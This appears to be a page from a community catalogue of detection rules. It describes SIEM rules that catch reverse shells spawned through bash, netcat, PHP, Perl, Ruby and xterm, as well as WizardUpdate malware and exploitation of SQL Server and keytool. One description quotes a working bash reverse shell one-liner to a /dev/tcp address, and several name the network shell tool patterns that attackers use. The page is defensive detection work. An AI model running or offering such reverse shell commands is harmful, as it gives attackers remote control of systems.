Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
926 detections
Filters
Last updated
All Time
Detection languages
510
138
62
49
48
Contributors
250
202
86
62
43
Categories
666
663
274
161
114
Platforms
709
280
193
27
18
Products / Services
200
161
104
89
59
MITRE Techniques
18,116
15,638
12,585
8,395
6,225
926
CVEs
10
9
9
8
7
IDS Classtypes
4
1
1
1
IDS Protocols
5
1
Detects executions of scripts located in potentially suspicious locations such as "/tmp" via a shell such as "bash", "sh", etc. This behavior is often associated with malware or adversaries attempting to execute payloads from temporary or user-writable directories.
Detects the execution of the Bash shell with the '-i' flag, which indicates an interactive shell. This is commonly used in reverse shells or other scenarios where an attacker wants to interact with the compromised system.
Detects the execution traces of the WizardUpdate malware, a macOS trojan that attempts to infiltrate macOS machines to steal data and is associated with other types of malicious payloads. The rule specifically looks for shell commands executing `curl` with a specific pattern (`=$(curl ` and `eval`) or `curl` commands containing `_intermediate_agent_`.
Detects a bash process initiating an outbound network connection to a remote IP address, which is a common indicator of a reverse shell. This rule specifically looks for '/bin/bash' processes making network connections, excluding connections to localhost or unspecified addresses.
This rule detects the execution of the `nohup` command on Linux systems. `nohup` is a utility that allows a command to continue running in the background even after the user logs out or the terminal is closed. Attackers may leverage `nohup` to maintain persistence for malicious processes or to bypass restrictions in certain environments.
This rule detects the execution of the `bpftrace` utility with the `--unsafe` option. The `bpftrace` tool is a high-level tracing language for Linux, and the `--unsafe` option allows it to perform operations that could potentially compromise system stability or security, such as writing to arbitrary memory locations or executing arbitrary code in the kernel. This usage could indicate an attempt to perform advanced system manipulation, potentially for privilege escalation, stealthy execution, or system compromise.
Detects the execution of PHP CLI with the "-r" flag to run inline PHP code, specifically looking for calls to the "fsockopen" function. This combination is often used by attackers to create sockets for reverse shell connections, potentially in conjunction with functions like "exec" or "fopen". The rule also checks for common Unix shell names in the command line, indicating an attempt to spawn a shell.
Detects execution of the perl binary with the "-e" flag and common strings related to potential reverse shell activity. This rule looks for specific patterns in the command line arguments that indicate an attempt to establish a reverse shell using Perl's networking capabilities.
Detects suspicious child processes spawned from an interactive bash shell. This rule looks for specific command-line patterns (e.g., base64 encoding, pty.spawn for pseudo-terminal allocation) or specific executables (e.g., whoami, iptables, ncat/netcat) that are uncommon to be direct children of an interactive bash session, indicating potential malicious activity like reverse shells or reconnaissance.
Detects the execution of netcat or ncat with the '-e' or '-c' flag, combined with common shell commands. This pattern is indicative of an attempt to establish a reverse shell, where a shell is spawned and connected back to an attacker-controlled listener.
Detects the execution of 'xterm' with command-line arguments indicative of a reverse shell connection, specifically looking for '-display' and a display value ending in ':1'. This pattern is commonly used by attackers to establish a reverse shell.
This rule detects a suspicious command sequence often associated with the JexBoss exploitation tool. Specifically, it looks for the execution of 'bash -c /bin/bash' followed by a network connection attempt using '&/dev/tcp/'. This combination indicates an attempt to establish a reverse shell or exfiltrate data over TCP.
Detects the execution of Ruby with the '-e' flag, which allows for inline script execution, combined with specific keywords related to socket programming ('rsocket', 'TCPSocket') and common shell names ('ash', 'bash', 'bsh', 'csh', 'ksh', 'pdksh', 'sh', 'tcsh'). This combination is a strong indicator of an attempt to establish a Ruby-based reverse shell.
Detects suspicious child processes spawned by the SQL Server process (sqlservr.exe). This activity is highly indicative of successful exploitation, such as Remote Code Execution (RCE) or SQL Injection, where an attacker leverages the SQL Server to execute arbitrary commands on the underlying operating system. The rule specifically looks for common system utilities and scripting interpreters that are often used by attackers for reconnaissance, persistence, or further compromise.
This rule detects the creation of suspicious shell processes or system utilities spawned by the Java utility 'keytool.exe'. This behavior is often indicative of exploitation, such as the CVE-2021-40539 vulnerability in ManageEngine ADSelfService Plus, where attackers leverage keytool to execute arbitrary commands. The rule specifically looks for 'keytool.exe' as the parent process and a wide range of common Windows and Linux shell/utility executables as the child process.
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Detects the usage of the unsafe bpftrace option
Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.
Detects suspicious shell commands used in various Equation Group scripts and tools
Detects suspicious shell commands used in various exploit codes (see references)
Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell
Page 44 of 45